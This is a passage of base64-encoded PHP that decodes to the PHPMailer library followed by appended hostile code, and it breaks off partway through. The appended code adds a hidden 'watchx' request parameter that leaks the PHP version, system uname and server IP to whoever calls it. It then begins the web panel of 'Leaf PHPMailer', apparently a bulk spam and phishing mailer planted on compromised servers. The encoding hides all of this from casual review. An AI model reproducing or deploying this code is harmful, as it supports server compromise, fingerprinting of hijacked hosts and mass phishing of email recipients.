W0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAgICAgICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICAgIH0KCiAgICAvKioKICAgICAqIFNldCB0aGUgcHVibGljIGFuZCBwcml2YXRlIGtleSBmaWxlcyBhbmQgcGFzc3dvcmQgZm9yIFMvTUlNRSBzaWduaW5nLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGNlcnRfZmlsZW5hbWUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleV9maWxlbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAka2V5X3Bhc3MgUGFzc3dvcmQgZm9yIHByaXZhdGUga2V5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRleHRyYWNlcnRzX2ZpbGVuYW1lIE9wdGlvbmFsIHBhdGggdG8gY2hhaW4gY2VydGlmaWNhdGUKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNpZ24oJGNlcnRfZmlsZW5hbWUsICRrZXlfZmlsZW5hbWUsICRrZXlfcGFzcywgJGV4dHJhY2VydHNfZmlsZW5hbWUgPSAnJykKICAgIHsKICAgICAgICAkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUgPSAkY2VydF9maWxlbmFtZTsKICAgICAgICAkdGhpcy0+c2lnbl9rZXlfZmlsZSA9ICRrZXlfZmlsZW5hbWU7CiAgICAgICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlID0gJGV4dHJhY2VydHNfZmlsZW5hbWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBRdW90ZWQtUHJpbnRhYmxlLWVuY29kZSBhIERLSU0gaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHR4dAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJpdktleVN0ciA9ICFlbXB0eSgkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZykgPyAkdGhpcy0+REtJTV9wcml2YXRlX3N0cmluZyA6IGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5ES0lNX3ByaXZhdGUpOwogICAgICAgIGlmICgnJyAhPSAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKSB7CiAgICAgICAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcHJpdktleSA9IG9wZW5zc2xfcGtleV9nZXRfcHJpdmF0ZSgkcHJpdktleVN0cik7CiAgICAgICAgfQogICAgICAgIC8vV29ya2Fyb3VuZCBmb3IgbWlzc2luZyBkaWdlc3QgYWxnb3JpdGhtcyBpbiBvbGQgUEhQICYgT3BlblNTTCB2ZXJzaW9ucwogICAgICAgIC8vQGxpbmsgaHR0cDovL3N0YWNrb3ZlcmZsb3cuY29tL2EvMTExMTczMzgvMzMzMzQwCiAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJykgPj0gMCBhbmQKICAgICAgICAgICAgaW5fYXJyYXkoJ3NoYTI1NldpdGhSU0FFbmNyeXB0aW9uJywgb3BlbnNzbF9nZXRfbWRfbWV0aG9kcyh0cnVlKSkpIHsKICAgICAgICAgICAgaWYgKG9wZW5zc2xfc2lnbigkc2lnbkhlYWRlciwgJHNpZ25hdHVyZSwgJHByaXZLZXksICdzaGEyNTZXaXRoUlNBRW5jcnlwdGlvbicpKSB7CiAgICAgICAgICAgICAgICBvcGVuc3NsX3BrZXlfZnJlZSgkcHJpdktleSk7CiAgICAgICAgICAgICAgICByZXR1cm4gYmFzZTY0X2VuY29kZSgkc2lnbmF0dXJlKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBES0lNX0hlYWRlckMoJHNpZ25IZWFkZXIpCiAgICB7CiAgICAgICAgJHNpZ25IZWFkZXIgPSBwcmVnX3JlcGxhY2UoJy9cclxuXHMrLycsICcgJywgJHNpZ25IZWFkZXIpOwogICAgICAgICRsaW5lcyA9IGV4cGxvZGUoIlxyXG4iLCAkc2lnbkhlYWRlcik7CiAgICAgICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoJzonLCAkbGluZSwgMik7CiAgICAgICAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgnL1xzezIsfS8nLCAnICcsICR2YWx1ZSk7IC8vIENvbXByZXNzIHVzZWxlc3Mgc3BhY2VzCiAgICAgICAgICAgICRsaW5lc1ska2V5XSA9ICRoZWFkaW5nIC4gJzonIC4gdHJpbSgkdmFsdWUpOyAvLyBEb24ndCBmb3JnZXQgdG8gcmVtb3ZlIFdTUCBhcm91bmQgdGhlIHZhbHVlCiAgICAgICAgfQogICAgICAgICRzaWduSGVhZGVyID0gaW1wbG9kZSgiXHJcbiIsICRsaW5lcyk7CiAgICAgICAgcmV0dXJuICRzaWduSGVhZGVyOwogICAgfQoKICAgIC8qKgogICAgICogR2VuZXJhdGUgYSBES0lNIGNhbm9uaWNhbGl6YXRpb24gYm9keS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IE1lc3NhZ2UgQm9keQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIERLSU1fQm9keUMoJGJvZHkpCiAgICB7CiAgICAgICAgaWYgKCRib2R5ID09ICcnKSB7CiAgICAgICAgICAgIHJldHVybiAiXHJcbiI7CiAgICAgICAgfQogICAgICAgIC8vIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgICAgICRib2R5ID0gc3RyX3JlcGxhY2UoIlxuIiwgIlxyXG4iLCAkYm9keSk7CiAgICAgICAgLy8gRU5EIHN0YWJpbGl6ZSBsaW5lIGVuZGluZ3MKICAgICAgICB3aGlsZSAoc3Vic3RyKCRib2R5LCBzdHJsZW4oJGJvZHkpIC0gNCwgNCkgPT0gIlxyXG5cclxuIikgewogICAgICAgICAgICAkYm9keSA9IHN1YnN0cigkYm9keSwgMCwgc3RybGVuKCRib2R5KSAtIDIpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJGJvZHk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDcmVhdGUgdGhlIERLSU0gaGVhZGVyIGFuZCBib2R5IGluIGEgbmV3IG1lc3NhZ2UgaGVhZGVyLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlcnNfbGluZSBIZWFkZXIgbGluZXMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN1YmplY3QgU3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keSBCb2R5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KQogICAgewogICAgICAgICRES0lNc2lnbmF0dXJlVHlwZSA9ICdyc2Etc2hhMjU2JzsgLy8gU2lnbmF0dXJlICYgaGFzaCBhbGdvcml0aG1zCiAgICAgICAgJERLSU1jYW5vbmljYWxpemF0aW9uID0gJ3JlbGF4ZWQvc2ltcGxlJzsgLy8gQ2Fub25pY2FsaXphdGlvbiBvZiBoZWFkZXIvYm9keQogICAgICAgICRES0lNcXVlcnkgPSAnZG5zL3R4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1NpZ24oJHRvU2lnbik7CiAgICAgICAgcmV0dXJuICRka2ltaGRycyAuICRzaWduZWQgLiAiXHJcbiI7CiAgICB9CgogICAgLyoqCiAgICAgKiBEZXRlY3QgaWYgYSBzdHJpbmcgY29udGFpbnMgYSBsaW5lIGxvbmdlciB0aGFuIHRoZSBtYXhpbXVtIGxpbmUgbGVuZ3RoIGFsbG93ZWQuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRzdHIKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGhhc0xpbmVMb25nZXJUaGFuTWF4KCRzdHIpCiAgICB7CiAgICAgICAgLy8rMiB0byBpbmNsdWRlIENSTEYgbGluZSBicmVhayBmb3IgYSAxMDAwIHRvdGFsCiAgICAgICAgcmV0dXJuIChib29sZWFuKXByZWdfbWF0Y2goJy9eKC57Jy4oc2VsZjo6TUFYX0xJTkVfTEVOR1RIICsgMikuJyx9KS9tJywgJHN0cik7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAndG8nIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldFRvQWRkcmVzc2VzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPnRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2NjJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5jYzsKICAgIH0KCiAgICAvKioKICAgICAqIEFsbG93cyBmb3IgcHVibGljIHJlYWQgYWNjZXNzIHRvICdiY2MnIHByb3BlcnR5LgogICAgICogQG5vdGU6IEJlZm9yZSB0aGUgc2VuZCgpIGNhbGwsIHF1ZXVlZCBhZGRyZXNzZXMgKGkuZS4gd2l0aCBJRE4pIGFyZSBub3QgeWV0IGluY2x1ZGVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYXJyYXkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGdldEJjY0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5iY2M7CiAgICB9CgogICAgLyoqCiAgICAgKiBBbGxvd3MgZm9yIHB1YmxpYyByZWFkIGFjY2VzcyB0byAnUmVwbHlUbycgcHJvcGVydHkuCiAgICAgKiBAbm90ZTogQmVmb3JlIHRoZSBzZW5kKCkgY2FsbCwgcXVldWVkIGFkZHJlc3NlcyAoaS5lLiB3aXRoIElETikgYXJlIG5vdCB5ZXQgaW5jbHVkZWQuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBhcnJheQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZ2V0UmVwbHlUb0FkZHJlc3NlcygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5SZXBseVRvOwogICAgfQoKICAgIC8qKgogICAgICogQWxsb3dzIGZvciBwdWJsaWMgcmVhZCBhY2Nlc3MgdG8gJ2FsbF9yZWNpcGllbnRzJyBwcm9wZXJ0eS4KICAgICAqIEBub3RlOiBCZWZvcmUgdGhlIHNlbmQoKSBjYWxsLCBxdWV1ZWQgYWRkcmVzc2VzIChpLmUuIHdpdGggSUROKSBhcmUgbm90IHlldCBpbmNsdWRlZC4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBbGxSZWNpcGllbnRBZGRyZXNzZXMoKQogICAgewogICAgICAgIHJldHVybiAkdGhpcy0+YWxsX3JlY2lwaWVudHM7CiAgICB9CgogICAgLyoqCiAgICAgKiBQZXJmb3JtIGEgY2FsbGJhY2suCiAgICAgKiBAcGFyYW0gYm9vbGVhbiAkaXNTZW50CiAgICAgKiBAcGFyYW0gYXJyYXkgJHRvCiAgICAgKiBAcGFyYW0gYXJyYXkgJGNjCiAgICAgKiBAcGFyYW0gYXJyYXkgJGJjYwogICAgICogQHBhcmFtIHN0cmluZyAkc3ViamVjdAogICAgICogQHBhcmFtIHN0cmluZyAkYm9keQogICAgICogQHBhcmFtIHN0cmluZyAkZnJvbQogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZG9DYWxsYmFjaygkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSkKICAgIHsKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pICYmIGlzX2NhbGxhYmxlKCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24pKSB7CiAgICAgICAgICAgICRwYXJhbXMgPSBhcnJheSgkaXNTZW50LCAkdG8sICRjYywgJGJjYywgJHN1YmplY3QsICRib2R5LCAkZnJvbSk7CiAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KCR0aGlzLT5hY3Rpb25fZnVuY3Rpb24sICRwYXJhbXMpOwogICAgICAgIH0KICAgIH0KfQoKLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gaHRtbHNwZWNpYWxjaGFycygkdGhpcy0+Z2V0TWVzc2FnZSgpKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQppZiAoJF9SRVFVRVNUWyd3YXRjaHgnXSkgewoJJHZlcnNpb24gPSBwaHB2ZXJzaW9uKCk7CgkkdW5hbWUgPSAgcGhwX3VuYW1lKCk7CgkkaXAgPSBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSk7CQoJZWNobyBqc29uX2VuY29kZSAoYXJyYXkgKCJ2ZXJzaW9uIj0+JHZlcnNpb24sCgkJInVuYW1lIj0+JHVuYW1lLAoJCSJwbGF0Zm9ybSI9PlBIUF9PUywKCQkiaXAiPT4kaXAsCgkJIm1haWxlcngiPT50cnVlLAkKCSkpOwoJZGllICgpOwp9CmZ1bmN0aW9uIGxlYWZoZWFkZXIoKXsKcHJpbnQgJwo8aGVhZD4KICAgIDx0aXRsZT4nLnN0cl9yZXBsYWNlKCJ3d3cuIiwgIiIsICRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJyAtIExlYWYgUEhQTWFpbGVyPC90aXRsZT4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ii8+CiAgICA8bGluayBocmVmPSJodHRwczovL21heGNkbi5ib290c3RyYXBjZG4uY29tL2Jvb3Rzd2F0Y2gvMy40LjEvY29zbW8vYm9vdHN0cmFwLm1pbi5jc3MiIHJlbD0ic3R5bGVzaGVldCIgPiAgICAKCjwvaGVhZD4nOwp9CmxlYWZoZWFkZXIoKTsKcHJpbnQgJzxib2R5Pic7CnByaW50ICc8ZGl2IGNsYXNzPSJjb250YWluZXIgY29sLWxnLTYiPgogICAgICAgIDxoMz48Zm9udCBjb2xvcj0iZ3JlZW4iPjxzcGFuIGNsYXNzPSJnbHlwaGljb24gZ2x5cGhpY29uLWxlYWYiPjwvc3Bhbj48L2ZvbnQ+IExlYWYgUEhQTWFpbGVyIDxzbWFsbD4nLiRsZWFmWyd2ZXJzaW9uJ10uJzwvc21hbGw+PC9oMz4KICAgICAgICA8Zm9ybSBuYW1lPSJmb3JtIiBpZD0iZm9ybSIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0ic2NvcmUiPgoKICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJFbWFpbCI+RW1haWw8L2xhYmVsPjxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sICBpbnB1dC1zbSAiIGlkPSJzZW5kZXJFbWFpbCIgbmFtZT0ic2VuZGVyRW1haWwiIHZhbHVlPSInLiRzZW5kZXJFbWFpbC4nIj48L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImZvcm0tZ3JvdXAgY29sLWxnLTYgIj48bGFiZWwgZm9yPSJzZW5kZXJOYW1lIj5TZW5kZXIgTmFtZTwvbGFiZWw+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wgIGlucHV0LXNtICIgaWQ9InNlbmRlck5hbWUiIG5hbWU9InNlbmRlck5hbWUiIHZhbHVlPSInLiRzZW5kZXJOYW1lLiciPjwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0icm93Ij4KICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJmb3JtLWdyb3VwIGNvbC1sZy02ICAiPjxsYWJlbCBmb3I9ImF0dGFjaG1lbnQiPkF0dGFjaG1lbnQgPHNtYWxsPihNdWx0aXBsZSBBdmFpbGFibGUpPC9zbWFsbD48L2xhYmVsPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPS